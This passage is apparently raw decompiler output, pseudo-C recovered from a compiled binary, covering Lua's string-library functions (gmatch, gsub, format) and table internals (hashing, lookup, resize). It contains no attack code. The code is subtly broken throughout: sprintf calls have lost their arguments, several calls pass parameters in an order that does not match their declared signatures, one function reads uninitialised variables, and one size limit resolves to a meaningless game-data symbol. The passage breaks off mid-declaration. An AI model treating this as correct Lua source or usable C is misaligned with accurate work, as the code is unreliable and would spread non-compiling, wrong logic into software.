-------------------------------------------------------- int __cdecl str_match(lua_State *L) { return str_find_aux(L, 0); } //----- (005BF5E0) -------------------------------------------------------- int __cdecl gmatch_aux(lua_State *L) { const char *v1; // edi@1 const char *v2; // ebp@1 int v3; // ebx@1 int result; // eax@2 const char *v5; // eax@4 const char *v6; // ebp@4 int v7; // eax@7 int v8; // esi@11 signed int v9; // edi@13 const char *p; // [sp+10h] [bp-120h]@1 signed int pa; // [sp+10h] [bp-120h]@11 int ls; // [sp+14h] [bp-11Ch]@1 int lp; // [sp+18h] [bp-118h]@1 const char *ms; // [sp+1Ch] [bp-114h]@1 unsigned int v15; // [sp+20h] [bp-110h]@1 const char *v16; // [sp+24h] [bp-10Ch]@1 lua_State *v17; // [sp+28h] [bp-108h]@1 int v18; // [sp+2Ch] [bp-104h]@4 v1 = lua_tolstring(L, -1001001, (unsigned int *)&ls); v2 = lua_tolstring(L, -1001002, (unsigned int *)&lp); p = v2; v17 = L; ms = v1; v15 = (unsigned int)&v1[ls]; v16 = &v2[lp]; v3 = (int)&v1[lua_tointegerx(L, -1001003, 0)]; if ( v3 <= v15 ) { while ( 1 ) { v18 = 0; v5 = match_0((MatchState *)&ms, (const char *)v3, v2); v6 = v5; if ( v5 ) break; ++v3; if ( v3 > v15 ) return 0; v2 = p; } v7 = v5 - v1; if ( v6 == (const char *)v3 ) ++v7; lua_pushinteger(L, v7); lua_replace(L, -1001003); if ( v18 || !v3 ) { pa = v18; v8 = v18; } else { v8 = 1; pa = 1; } luaL_checkstack(v17, v8, "too many captures"); v9 = 0; if ( v8 > 0 ) { do push_onecapture((MatchState *)&ms, v9++, (const char *)v3, v6); while ( v9 < pa ); v8 = pa; } result = v8; } else { result = 0; } return result; } //----- (005BF720) -------------------------------------------------------- int __cdecl gmatch(lua_State *L) { luaL_checklstring(L, 1, 0); luaL_checklstring(L, 2, 0); lua_settop(L, 2); lua_pushinteger(L, 0); lua_pushcclosure(L, gmatch_aux, 3); return 1; } //----- (005BF760) -------------------------------------------------------- void __usercall add_s(MatchState *ms, luaL_Buffer *b, const char *s, const char *e) { MatchState *v4; // esi@1 void *v5; // edi@1 unsigned int v6; // ebp@1 int v7; // eax@6 char v8; // al@9 unsigned int l; // [sp+Ch] [bp-8h]@1 void *news; // [sp+10h] [bp-4h]@1 v4 = ms; v5 = (void *)lua_tolstring(ms->L, 3, &l); v6 = 0; news = v5; if ( l ) { while ( 1 ) { if ( *((_BYTE *)v5 + v6) != 37 ) goto LABEL_3; v7 = *((_BYTE *)v5 + v6++ + 1); if ( !isdigit(v7) ) break; v8 = *((_BYTE *)v5 + v6); if ( v8 == 48 ) { luaL_addlstring(b, s, e - s); } else { push_onecapture(v4, v8 - 49, s, e); luaL_addvalue(b); v5 = news; } LABEL_12: ++v6; if ( v6 >= l ) return; } if ( *((_BYTE *)v5 + v6) != 37 ) luaL_error(v4->L, "invalid use of '%c' in replacement string"); LABEL_3: if ( b->n >= b->size ) luaL_prepbuffsize(b, 1u); b->b[b->n++] = *((_BYTE *)v5 + v6); goto LABEL_12; } } //----- (005BF840) -------------------------------------------------------- void __usercall add_value(MatchState *ms, const char *e, int tr, luaL_Buffer *b, const char *s) { int v5; // eax@1 MatchState *v6; // esi@1 lua_State *v7; // ebp@1 const char *v8; // ebx@1 const char *v9; // edi@4 int v10; // eax@4 int v11; // eax@9 v5 = tr - 5; v6 = ms; v7 = ms->L; v8 = e; if ( v5 ) { if ( v5 != 1 ) { add_s(ms, b, s, e); return; } lua_pushvalue(v7, 3); v9 = s; v10 = push_captures(v6, s, v8); lua_callk(v7, v10, 1, 0, 0); } else { push_onecapture(ms, 0, s, e); lua_gettable(v7, 3); v9 = s; } if ( lua_toboolean(v7, -1) ) { if ( !lua_isstring(v7, -1) ) { v11 = lua_type(v7, -1); lua_typename(v7, v11); luaL_error(v7, "invalid replacement value (a %s)"); } luaL_addvalue(b); } else { lua_settop(v7, -2); lua_pushlstring(v7, v9, v8 - v9); luaL_addvalue(b); } } //----- (005BF930) -------------------------------------------------------- int __cdecl str_gsub(lua_State *L) { unsigned int v1; // esi@1 const char *v2; // ebp@1 int v3; // ebx@1 int v4; // eax@1 const char v5; // cl@1 int v6; // eax@8 const char *v7; // ebx@9 int n; // [sp+10h] [bp-340h]@1 int lp; // [sp+14h] [bp-33Ch]@1 int anchor; // [sp+18h] [bp-338h]@1 int srcl; // [sp+1Ch] [bp-334h]@1 unsigned int max_s; // [sp+20h] [bp-330h]@1 int tr; // [sp+24h] [bp-32Ch]@1 unsigned int ms; // [sp+28h] [bp-328h]@8 int v16; // [sp+2Ch] [bp-324h]@8 const char *v17; // [sp+30h] [bp-320h]@8 lua_State *v18; // [sp+34h] [bp-31Ch]@8 int v19; // [sp+38h] [bp-318h]@9 int b; // [sp+13Ch] [bp-214h]@6 unsigned int v21; // [sp+140h] [bp-210h]@13 unsigned int v22; // [sp+144h] [bp-20Ch]@13 unsigned int v23; // [sp+34Ch] [bp-4h]@1 v23 = (unsigned int)&n ^ __security_cookie; v1 = (unsigned int)luaL_checklstring(L, 1, (unsigned int *)&srcl); v2 = luaL_checklstring(L, 2, (unsigned int *)&lp); v3 = lua_type(L, 3); tr = v3; v4 = luaL_optinteger(L, 4, srcl + 1); v5 = *v2; max_s = v4; n = 0; anchor = v5 == 94; if ( v3 != 3 && v3 != 4 && v3 != 6 && v3 != 5 ) luaL_argerror(L, 3, "string/function/table expected"); luaL_buffinit(L, (luaL_Buffer *)&b); if ( anchor ) { ++v2; --lp; } v17 = &v2[lp]; v6 = srcl + v1; v18 = L; ms = v1; v16 = srcl + v1; if ( max_s ) { do { v19 = 0; v7 = match_0((MatchState *)&ms, (const char *)v1, v2); if ( v7 && (++n, add_value((MatchState *)&ms, (luaL_Buffer *)&b, (const char *)v1, v7, tr), (unsigned int)v7 > v1) ) { v1 = (unsigned int)v7; } else { v6 = v16; if ( v1 >= v16 ) goto LABEL_19; if ( v22 >= v21 ) luaL_prepbuffsize((luaL_Buffer *)&b, 1u); *(_BYTE *)(b + v22++) = *(_BYTE *)v1++; } } while ( !anchor && n < max_s ); v6 = v16; } LABEL_19: luaL_addlstring((luaL_Buffer *)&b, (const char *)v1, v6 - v1); luaL_pushresult((luaL_Buffer *)&b); lua_pushinteger(L, n); return 2; } //----- (005BFB10) -------------------------------------------------------- void __usercall addquoted(luaL_Buffer *b, int arg, lua_State *L) { const char *v3; // edi@1 bool v4; // zf@3 char v5; // al@4 bool v6; // cf@9 unsigned int v7; // ecx@16 unsigned int v8; // eax@16 unsigned int v9; // edx@21 unsigned int v10; // eax@21 char *v11; // [sp-Ch] [bp-24h]@11 const char *v12; // [sp-8h] [bp-20h]@11 int l; // [sp+4h] [bp-14h]@1 char buff[10]; // [sp+8h] [bp-10h]@11 unsigned int v15; // [sp+14h] [bp-4h]@1 v15 = (unsigned int)&l ^ __security_cookie; v3 = luaL_checklstring(L, arg, (unsigned int *)&l); if ( b->n >= b->size ) luaL_prepbuffsize(b, 1u); b->b[b->n] = 34; v4 = l == 0; ++b->n; if ( !v4 ) { while ( 1 ) { --l; v5 = *v3; if ( *v3 == 34 ) break; if ( v5 == 92 || v5 == 10 ) break; if ( v5 && !iscntrl((unsigned __int8)v5) ) { v6 = b->n < b->size; LABEL_17: if ( !v6 ) luaL_prepbuffsize(b, 1u); b->b[b->n++] = *v3; goto LABEL_20; } if ( isdigit((unsigned __int8)v3[1]) ) { v12 = "\\%03d"; v11 = buff; } else { v12 = "\\%d"; v11 = buff; } sprintf(v11, v12); luaL_addstring(b, buff); LABEL_20: ++v3; if ( !l ) goto LABEL_21; } if ( b->n >= b->size ) luaL_prepbuffsize(b, 1u); b->b[b->n] = 92; v7 = b->size; v8 = b->n + 1; b->n = v8; v6 = v8 < v7; goto LABEL_17; } LABEL_21: v9 = b->n; v10 = b->size; --l; if ( v9 >= v10 ) luaL_prepbuffsize(b, 1u); b->b[b->n++] = 34; } //----- (005BFC70) -------------------------------------------------------- const char *__usercall scanformat(lua_State *L, const char *strfrmt, char *form) { const void *v3; // esi@1 lua_State *v4; // edi@1 int *v5; // ebx@1 char v6; // al@3 int v7; // ecx@11 v3 = strfrmt; v4 = L; v5 = (int *)strfrmt; if ( *strfrmt ) { do { if ( !strchr("-+ #0", *(_BYTE *)v5) ) break; v6 = *((_BYTE *)v5 + 1); v5 = (int *)((char *)v5 + 1); } while ( v6 ); } if ( (char *)v5 - v3 >= 6 ) luaL_error(v4, "invalid format (repeated flags)"); if ( isdigit(*(_BYTE *)v5) ) v5 = (int *)((char *)v5 + 1); if ( isdigit(*(_BYTE *)v5) ) v5 = (int *)((char *)v5 + 1); if ( *(_BYTE *)v5 == 46 ) { v7 = *((_BYTE *)v5 + 1); v5 = (int *)((char *)v5 + 1); if ( isdigit(v7) ) v5 = (int *)((char *)v5 + 1); if ( isdigit(*(_BYTE *)v5) ) v5 = (int *)((char *)v5 + 1); } if ( isdigit(*(_BYTE *)v5) ) luaL_error(v4, "invalid format (width or precision too long)"); *form = 37; memcpy(form + 1, v3, (char *)v5 - v3 + 1); form[(char *)v5 - v3 + 2] = 0; return (const char *)v5; } //----- (005BFD50) -------------------------------------------------------- void __usercall addlenmod(const char *lenmod, char *form) { unsigned int v2; // esi@1 unsigned int v3; // edi@1 char *v4; // edx@1 char v5; // al@1 int v6; // edx@1 const char v7; // bl@2 char *v8; // ecx@3 v2 = strlen(form); v3 = strlen(lenmod); v4 = &form[v2 - 1]; v5 = *v4; v6 = v4 - lenmod; do { v7 = *lenmod; lenmod[v6] = *lenmod; ++lenmod; } while ( v7 ); v8 = &form[v2] + v3; *v8 = 0; *(v8 - 1) = v5; } //----- (005BFDA0) -------------------------------------------------------- int __cdecl str_format(lua_State *L) { int v1; // ebx@1 const char *v2; // esi@1 int v3; // ebp@1 const char v4; // al@6 const char *v5; // esi@6 int v6; // ebp@10 const char *v7; // eax@12 int v8; // ecx@12 long double v9; // st7@14 long double v10; // st7@14 long double v11; // st7@19 long double v12; // st7@19 int v13; // eax@30 int result; // eax@32 const char *v15; // [sp+4h] [bp-258h]@16 char *buff; // [sp+18h] [bp-244h]@1 unsigned int ni; // [sp+1Ch] [bp-240h]@14 unsigned int l; // [sp+20h] [bp-23Ch]@26 const char *strfrmt; // [sp+24h] [bp-238h]@12 int strfrmt_end; // [sp+28h] [bp-234h]@1 int top; // [sp+2Ch] [bp-230h]@1 int sfl; // [sp+30h] [bp-22Ch]@1 int b; // [sp+34h] [bp-228h]@1 unsigned int v24; // [sp+38h] [bp-224h]@3 unsigned int v25; // [sp+3Ch] [bp-220h]@3 char form[18]; // [sp+244h] [bp-18h]@12 unsigned int v27; // [sp+258h] [bp-4h]@1 v27 = (unsigned int)&buff ^ __security_cookie; top = lua_gettop(L); v1 = 1; v2 = luaL_checklstring(L, 1, (unsigned int *)&sfl); v3 = (int)&v2[sfl]; strfrmt_end = (int)&v2[sfl]; luaL_buffinit(L, (luaL_Buffer *)&b); while ( (unsigned int)v2 < v3 ) { if ( *v2 == 37 ) { v4 = v2[1]; v5 = v2 + 1; if ( v4 == 37 ) { if ( v25 >= v24 ) luaL_prepbuffsize((luaL_Buffer *)&b, 1u); *(_BYTE *)(b + v25++) = *v5; v2 = v5 + 1; } else { v6 = 0; buff = luaL_prepbuffsize((luaL_Buffer *)&b, 0x200u); ++v1; if ( v1 > top ) luaL_argerror(L, v1, "no value"); v7 = scanformat(L, v5, form); v8 = *v7; strfrmt = v7 + 1; switch ( v8 ) { case 99: luaL_checkinteger(L, v1); v6 = sprintf(buff, form); goto LABEL_30; case 100: case 105: v9 = luaL_checknumber(L, v1); ni = (unsigned __int64)v9; v10 = v9 - (double)(signed int)ni; if ( v10 > -1.0 && v10 < 1.0 ) goto LABEL_18; v15 = "not a number in proper range"; goto LABEL_17; case 88: case 111: case 117: case 120: v11 = luaL_checknumber(L, v1); ni = (unsigned __int64)v11; v12 = v11 - (double)ni; if ( v12 <= -1.0 ) { v15 = "not a non-negative number in proper range"; LABEL_17: luaL_argerror(L, v1, v15); } if ( v12 >= 1.0 ) { v15 = "not a non-negative number in proper range"; goto LABEL_17; } LABEL_18: addlenmod(form, "l"); LABEL_24: v6 = sprintf(buff, form); LABEL_30: v2 = strfrmt; v13 = v6 + v25; v3 = strfrmt_end; v25 = v13; break; case 65: case 69: case 71: case 97: case 101: case 102: case 103: addlenmod(form, byte_635E1E); luaL_checknumber(L, v1); goto LABEL_24; case 113: addquoted(L, (luaL_Buffer *)&b, v1); goto LABEL_30; case 115: luaL_tolstring(L, v1, &l); if ( strchr(form, 46) || l < 0x64 ) { v6 = sprintf(buff, form); lua_settop(L, -2); } else { luaL_addvalue((luaL_Buffer *)&b); } goto LABEL_30; default: luaL_error(L, "invalid option '%%%c' to 'format'"); return result; } } } else { if ( v25 >= v24 ) luaL_prepbuffsize((luaL_Buffer *)&b, 1u); *(_BYTE *)(b + v25++) = *v2++; } } luaL_pushresult((luaL_Buffer *)&b); return 1; } //----- (005C0100) -------------------------------------------------------- void __usercall createmetatable(lua_State *L) { lua_createtable(L, 0, 1); lua_pushlstring(L, byte_635E1E, 0); lua_pushvalue(L, -2); lua_setmetatable(L, -2); lua_settop(L, -2); lua_pushvalue(L, -2); lua_setfield(L, -2, "__index"); lua_settop(L, -2); } //----- (005C0160) -------------------------------------------------------- int __cdecl luaopen_string(lua_State *L) { lua_createtable(L, 0, 14); luaL_setfuncs(L, &strlib, 0); createmetatable(L); return 1; } //----- (005C0190) -------------------------------------------------------- Node *__usercall hashnum(Table *t, long double n) { signed int v2; // eax@1 int e; // [sp+Ch] [bp-8h]@1 int i; // [sp+10h] [bp-4h]@1 i = (signed int)(frexp(n, &e) * 2147482623.0); v2 = e + i; if ( e + i < 0 ) { if ( v2 == -v2 ) v2 = 0; v2 = -v2; } return &t->node[v2 % (((1 << t->lsizenode) - 1) | 1)]; } //----- (005C01F0) -------------------------------------------------------- Node *__usercall mainposition(Table *t, lua_TValue *key) { Table *v2; // esi@1 int v3; // eax@1 Node *result; // eax@4 GCObject *v5; // ebx@5 v2 = t; v3 = key->u.i.tt__; if ( (key->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; switch ( v3 & 0x3F ) { case 3: result = hashnum(v2, *(double *)&key->u.i.v__.gc); break; case 0x14: v5 = key->u.i.v__.gc; if ( !*(&key->u.i.v__.gc->gch.marked + 1) ) { v5->ts.tsv.hash = luaS_hash((const char *)&v5->u.uv.len, v5->ts.tsv.len, v5->ts.tsv.hash); *(&v5->gch.marked + 1) = 1; } goto $L2350; case 4: $L2350: result = &v2->node[key->u.i.v__.gc->ts.tsv.hash & ((1 << v2->lsizenode) - 1)]; break; case 1: result = &v2->node[(unsigned int)key->u.i.v__.gc & ((1 << v2->lsizenode) - 1)]; break; case 2: result = &v2->node[(unsigned int)key->u.i.v__.gc % (((1 << v2->lsizenode) - 1) | 1u)]; break; case 0x16: result = &v2->node[(unsigned int)key->u.i.v__.gc % (((1 << v2->lsizenode) - 1) | 1u)]; break; default: result = &v2->node[(unsigned int)key->u.i.v__.gc % (((1 << v2->lsizenode) - 1) | 1u)]; break; } return result; } //----- (005C0340) -------------------------------------------------------- int __usercall findindex(Table *t, lua_TValue *key, lua_State *L) { lua_TValue *v3; // edi@1 int v4; // eax@1 int result; // eax@2 double v6; // ST18_8@4 Node *v7; // esi@8 int v8; // eax@10 int v9; // eax@15 int v10; // [sp+4h] [bp-Ch]@4 v3 = key; v4 = key->u.i.tt__; if ( v4 == 2146936064 ) { result = -1; } else { if ( (v4 & 0x7FFFFF00) == 2146936064 || (v6 = *(double *)&v3->u.i.v__.gc, v10 = (signed int)v6, v6 != (double)(signed int)v6) || v10 <= 0 || v10 > t->sizearray ) { v7 = mainposition(t, v3); while ( 1 ) { v8 = (v7->i_key.nk.u.i.tt__ & 0x7FFFFF00) == 2146936064 ? (unsigned __int8)(v7->i_key.nk.u.i.tt__ == v3->u.i.tt__) : (unsigned __int8)((v3->u.i.tt__ & 0x7FFFFF00) != 2146936064); if ( v8 && luaV_equalobj_(0, (lua_TValue *)&v7->i_key, v3) ) break; if ( v7->i_key.nk.u.i.tt__ == 2146936075 ) { v9 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; if ( v9 & 0x40 && v7->i_key.nk.u.i.v__.gc == v3->u.i.v__.gc ) break; } v7 = v7->i_key.nk.next; if ( !v7 ) luaG_runerror(L, "invalid key to 'next'"); } result = t->sizearray + v7 - t->node; } else { result = v10 - 1; } } return result; } //----- (005C0460) -------------------------------------------------------- int __cdecl luaH_next(lua_State *L, Table *t, lua_TValue *key) { int v3; // eax@1 int v4; // ecx@1 int v5; // eax@1 char *v6; // edx@2 int v7; // eax@5 signed int v8; // edx@5 Node *v9; // edi@6 int v10; // ecx@6 int result; // eax@9 lua_TValue *v12; // edx@10 int v13; // eax@11 Node *v14; // edx@11 v3 = findindex(L, t, key); v4 = t->sizearray; v5 = v3 + 1; if ( v5 >= v4 ) { LABEL_5: v7 = v5 - v4; v8 = 1 << t->lsizenode; if ( v7 >= v8 ) { LABEL_9: result = 0; } else { v9 = t->node; v10 = (int)&v9[v7].i_val.u.i.tt__; while ( *(_DWORD *)v10 == 2146936064 ) { ++v7; v10 += 24; if ( v7 >= v8 ) goto LABEL_9; } v13 = v7; *(_QWORD *)&key->u.i.v__.gc = *(_QWORD *)&v9[v13].i_key.nk.u.i.v__.gc; v14 = t->node; key[1].u.i.v__.gc = v14[v13].i_val.u.i.v__.gc; key[1].u.i.tt__ = v14[v13].i_val.u.i.tt__; result = 1; } } else { v6 = (char *)&t->array[v5].u.i.tt__; while ( *(_DWORD *)v6 == 2146936064 ) { ++v5; v6 += 8; if ( v5 >= v4 ) goto LABEL_5; } *(double *)&key->u.i.v__.gc = (double)(v5 + 1); v12 = t->array; key[1].u.i.v__.gc = v12[v5].u.i.v__.gc; key[1].u.i.tt__ = v12[v5].u.i.tt__; result = 1; } return result; } //----- (005C0530) -------------------------------------------------------- int __cdecl computesizes(int *nums, int *narray) { int *v2; // ebp@1 int v3; // esi@1 int v4; // ebx@1 int v5; // edi@1 signed int v6; // ecx@1 int *narraya; // [sp+18h] [bp+8h]@2 v2 = narray; v3 = 0; v4 = 0; v5 = 0; v6 = 1; if ( *narray > 0 ) { narraya = nums; do { if ( *narraya > 0 ) { v3 += *narraya; if ( v3 > v6 / 2 ) { v5 = v6; v4 = v3; } } if ( v3 == *v2 ) break; ++narraya; v6 *= 2; } while ( v6 / 2 < *v2 ); } *v2 = v5; return v4; } //----- (005C05A0) -------------------------------------------------------- int __usercall numusearray(Table *t, int *nums) { signed int v2; // edi@1 signed int v3; // ebx@1 signed int v4; // edx@1 int v5; // esi@2 int v6; // ebp@2 int v7; // ecx@2 int v8; // ecx@6 char *v9; // esi@6 int ause; // [sp+10h] [bp-4h]@1 v2 = 0; v3 = 1; ause = 0; v4 = 1; do { v5 = t->sizearray; v6 = 0; v7 = v4; if ( v4 <= v5 ) { if ( v3 > v4 ) goto LABEL_10; } else { v7 = t->sizearray; if ( v3 > v5 ) return ause; } v8 = v7 - v3 + 1; v9 = (char *)&t->array[v3] - 4; v3 += v8; do { if ( *(_DWORD *)v9 != 2146936064 ) ++v6; v9 += 8; --v8; } while ( v8 ); LABEL_10: nums[v2++] += v6; v4 *= 2; ause += v6; } while ( v2 <= 30 ); return ause; } //----- (005C0610) -------------------------------------------------------- int __cdecl numusehash(Table *t, int *nums, int *pnasize) { char v3; // cl@1 int v4; // ebx@1 int v5; // edi@1 int v6; // esi@2 Node *v7; // eax@3 int v8; // ecx@3 int v9; // eax@3 double v10; // ST1C_8@5 int v11; // eax@8 signed int v12; // eax@8 unsigned int x; // [sp+10h] [bp-10h]@5 signed int v15; // [sp+14h] [bp-Ch]@2 v3 = t->lsizenode; v4 = 0; v5 = 0; if ( 1 << v3 ) { v6 = 1 << v3; v15 = 1 << v3; do { v7 = t->node; --v6; v8 = v7[v6].i_val.u.i.tt__; v9 = (int)&v7[v6]; if ( v8 != 2146936064 ) { if ( (*(_DWORD *)(v9 + 12) & 0x7FFFFF00) == 2146936064 || (v10 = *(double *)(v9 + 8), x = (signed int)v10, v10 != (double)(signed int)v10) || (signed int)x <= 0 || (signed int)x > 1073741824 ) { v12 = 0; } else { v11 = luaO_ceillog2(x); ++nums[v11]; v12 = 1; } v5 += v12; ++v4; } --v15; } while ( v15 ); } *pnasize += v5; return v4; } //----- (005C06D0) -------------------------------------------------------- void __usercall setarrayvector(lua_State *L, Table *t, int size) { int i; // eax@3 if ( (unsigned int)(size + 1) > 0x1FFFFFFF ) luaM_toobig(L); t->array = (lua_TValue *)luaM_realloc_(L, t->array, 8 * t->sizearray, 8 * size); for ( i = t->sizearray; i < size; ++i ) t->array[i].u.i.tt__ = 2146936064; t->sizearray = size; } //----- (005C0720) -------------------------------------------------------- void __usercall setnodevector(Table *t, int size, lua_State *L) { int v3; // esi@1 int v4; // eax@3 int v5; // ecx@8 int v6; // edx@8 Node *v7; // eax@9 Node *v8; // ecx@10 char lsize; // [sp+Ch] [bp-4h]@2 v3 = size; if ( size ) { v4 = luaO_ceillog2(size); lsize = v4; if ( v4 > 30 ) luaG_runerror(L, "table overflow"); v3 = 1 << v4; if ( (1 << v4) + 1 > (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[6422] ) luaM_toobig(L); t->node = (Node *)luaM_realloc_(L, 0, 0, 24 * v3); if ( v3 > 0 ) { v5 = 0; v6 = v3; do { v7 = &t->node[v5]; ++v5; --v6; v7->i_key.nk.next = 0; v7->i_key.nk.u.i.tt__ = 2146936064; v7->i_val.u.i.tt__ = 2146936064; } while ( v6 ); } } else { t->node = &dummynode_; lsize = 0; } v8 = t->node; t->lsizenode = lsize; t->lastfree = &v8[v3]; } //----- (005C07D0) -------------------------------------------------------- Table *__cdecl luaH_new(lua_State *L) { Table *result; // eax@1 result = (Table *)luaC_newobj(L, 5, 0x20u, 0, 0); result->metatable = 0; result->array = 0; result->sizearray = 0; result->lsizenode = 0; result->flags = -1; result->node = &dummynode_; result->lastfree = &dummynode_; return result; } //----- (005C0810) -------------------------------------------------------- void __cdecl luaH_free(lua_State *L, Table *t) { void *v2; // edx@1 v2 = t->node; if ( v2 != &dummynode_ ) luaM_realloc_(L, v2, 24 * (1 << t->lsizenode), 0); luaM_realloc_(L, t->array, 8 * t->sizearray, 0); luaM_realloc_(L, t, 0x20u, 0); } //----- (005C0870) -------------------------------------------------------- lua_TValue *__cdecl luaH_getint(Table *t, int key) { lua_TValue *result; // eax@2 Node *v3; // ecx@3 double nk; // [sp+10h] [bp-8h]@3 if ( (unsigned int)(key - 1) >= t->sizearray ) { nk = (double)key; v3 = hashnum(t, nk); while ( (v3->i_key.nk.u.i.tt__ & 0x7FFFFF00) == 2146936064 || *(double *)&v3->i_key.nk.u.i.v__.gc != nk ) { v3 = v3->i_key.nk.next; if ( !v3 ) return (lua_TValue *)&luaO_nilobject_; } result = (lua_TValue *)v3; } else { result = &t->array[key - 1]; } return result; } //----- (005C08F0) -------------------------------------------------------- lua_TValue *__cdecl luaH_getstr(Table *t, TString *key) { lua_TValue *result; // eax@1 result = (lua_TValue *)&t->node[key->tsv.hash & ((1 << t->lsizenode) - 1)]; while ( result[1].u.i.tt__ != 2146936132 || (TString *)result[1].u.i.v__.gc != key ) { result = (lua_TValue *)result[2].u.i.v__.gc; if ( !result ) return (lua_TValue *)&luaO_nilobject_; } return result; } //----- (005C0930) -------------------------------------------------------- lua_TValue *__cdecl luaH_get(Table *t, lua_TValue *key) { lua_TValue *v2; // edi@1 int v3; // eax@1 int v4; // eax@3 int v5; // eax@4 lua_TValue *result; // eax@6 Node *v7; // esi@9 int v8; // eax@11 int keya; // [sp+14h] [bp+8h]@7 v2 = key; v3 = key->u.i.tt__; if ( (key->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = v3 & 0x3F; if ( v4 ) { v5 = v4 - 3; if ( v5 ) { if ( v5 == 1 ) return luaH_getstr(t, (TString *)key->u.i.v__.gc); } else { keya = (signed int)*(double *)&key->u.i.v__.gc; if ( *(double *)&v2->u.i.v__.gc == (double)keya ) return luaH_getint(t, keya); } v7 = mainposition(t, v2); while ( 1 ) { v8 = (v7->i_key.nk.u.i.tt__ & 0x7FFFFF00) == 2146936064 ? (unsigned __int8)(v7->i_key.nk.u.i.tt__ == v2->u.i.tt__) : (unsigned __int8)((v2->u.i.tt__ & 0x7FFFFF00) != 2146936064); if ( v8 && luaV_equalobj_(0, (lua_TValue *)&v7->i_key, v2) ) break; v7 = v7->i_key.nk.next; if ( !v7 ) return (lua_TValue *)&luaO_nilobject_; } result = (lua_TValue *)v7; } else { result = (lua_TValue *)&luaO_nilobject_; } return result; } //----- (005C0A30) -------------------------------------------------------- lua_TValue *__cdecl luaH_set(lua_State *L, Table *t, lua_TValue *key) { lua_TValue *result; // eax@1 result = luaH_get(t, key); if ( (_UNKNOWN *)result == &luaO_nilobject_ ) result = luaH_newkey(L, t, key); return result; } //----- (005C0A60) -------------------------------------------------------- int __usercall unbound_search(unsigned int j, Table *t) { int v2; // ebx@1 int v3; // esi@1 int i; // esi@7 int result; // eax@9 Table *v6; // [sp+0h] [bp-18h]@0 int v7; // [sp+4h] [bp-14h]@0 v2 = j; v3 = j + 1; if ( luaH_getint(v6, v7)->u.i.tt__ == 2146936064 ) { LABEL_4: while ( (unsigned int)(v3 - v2) > 1 ) { if ( luaH_getint(t, (unsigned int)(v2 + v3) >> 1)->u.i.tt__ == 2146936064 ) v3 = (unsigned int)(v2 + v3) >> 1; else v2 = (unsigned int)(v2 + v3) >> 1; } result = v2; } else { while ( 1 ) { v2 = v3; v3 *= 2; if ( (unsigned int)v3 > 0x7FFFFFFD ) break; if ( luaH_getint(t, v3)->u.i.tt__ == 2146936064 ) goto LABEL_4; } for ( i = 1; luaH_getint(t, i)->u.i.tt__ != 2146936064; ++i ) ; result = i - 1; } return result; } //----- (005C0B10) -------------------------------------------------------- int __cdecl luaH_getn(Table *t) { int result; // eax@1 lua_TValue *v2; // esi@2 unsigned int v3; // edx@3 result = t->sizearray; if ( result && (v2 = t->array, *((_DWORD *)&v2[result] - 1) == 2146936064) ) { v3 = 0; if ( (unsigned int)result > 1 ) { do { if ( *((_DWORD *)&v2[(v3 + result) >> 1] - 1) == 2146936064 ) result = (v3 + result) >> 1; else v3 = (v3 + result) >> 1; } while ( result - v3 > 1 ); } result = v3; } else { if ( t->node != &dummynode_ ) result = unbound_search(t, result); } return result; } //----- (005C0B70) -------------------------------------------------------- void __cdecl luaH_resize(lua_State *L, Table *t, int nasize, int nhsize) { int v4; // ebx@1 Table *v5; // esi@1 int v6; // ebp@1 int v7; // eax@4 int v8; // ebp@4 int v9; // edi@4 int v10; // ebx@5 lua_TValue *v11; // eax@6 int v12; // eax@13 lua_TValue *v13; // edi@14 signed int v14; // ebp@14 lua_TValue *v15; // eax@16 int oldasize; // [sp+10h] [bp-18h]@1 void *nold; // [sp+14h] [bp-14h]@1 unsigned int nsize; // [sp+18h] [bp-10h]@4 char oldhsize; // [sp+1Ch] [bp-Ch]@1 lua_TValue key; // [sp+20h] [bp-8h]@7 int ta; // [sp+30h] [bp+8h]@4 int nasizea; // [sp+34h] [bp+Ch]@4 v4 = nasize; v5 = t; v6 = t->sizearray; oldasize = t->sizearray; oldhsize = t->lsizenode; nold = t->node; if ( nasize > v6 ) setarrayvector(L, t, nasize); setnodevector(L, t, nhsize); if ( nasize < v6 ) { v7 = nasize + 1; v8 = nasize; t->sizearray = nasize; nasizea = nasize + 1; ta = v4 + 1; nsize = 8 * v4; v9 = oldasize - v4; do { v10 = (int)&v5->array[v8]; if ( *(_DWORD *)(v10 + 4) != 2146936064 ) { v11 = luaH_getint(v5, v7); if ( (_UNKNOWN *)v11 == &luaO_nilobject_ ) { *(double *)&key.u.i.v__.gc = (double)ta; v11 = luaH_newkey(L, v5, &key); } v11->u.i.v__.gc = *(GCObject **)v10; v11->u.i.tt__ = *(_DWORD *)(v10 + 4); } ++v8; v7 = ta + 1; --v9; ++ta; } while ( v9 ); if ( (unsigned int)nasizea > 0x1FFFFFFF ) luaM_toobig(L); v5->array = (lua_TValue *)luaM_realloc_(L, v5->array, 8 * oldasize, nsize); } v12 = (1 << oldhsize) - 1; if ( v12 >= 0 ) { v13 = (lua_TValue *)((char *)nold + 24 * v12 + 8); v14 = 1 << oldhsize; do { if ( *((_DWORD *)v13 - 1) != 2146936064 ) { v15 = luaH_get(v5, v13); if ( (_UNKNOWN *)v15 == &luaO_nilobject_ ) v15 = luaH_newkey(L, v5, v13); v15->u.i.v__.gc = v13[-1].u.i.v__.gc; v15->u.i.tt__ = *((_DWORD *)v13 - 1); } v13 -= 3; --v14; } while ( v14 ); } if ( nold != &dummynode_ ) luaM_realloc_(L, nold, 24 * (1 << oldhsize), 0); } //----- (005C0D00) -------------------------------------------------------- void __cdecl luaH_resizearray(lua_State *L, Table *t, int nasize) { if ( t->node == &dummynode_ ) luaH_resize(L, t, nasize, 0); else luaH_resize(L, t, nasize, 1 << t->lsizenode); } //----- (005C0D50) -------------------------------------------------------- void __usercall rehash(Table *t, lua_TValue *ek, lua_State *L) { int v3; // esi@1 int v4; // eax@5 signed int v5; // eax@5 int v6; // eax@7 int nasize; // [sp+4h] [bp-8Ch]@1 unsigned int x; // [sp+8h] [bp-88h]@2 double v9; // [sp+Ch] [bp-84h]@2 int nums; // [sp+14h] [bp-7Ch]@1 int v11; // [sp+18h] [bp-78h]@1 int v12; // [sp+1Ch] [bp-74h]@1 int v13; // [sp+20h] [bp-70h]@1 int v14; // [sp+24h] 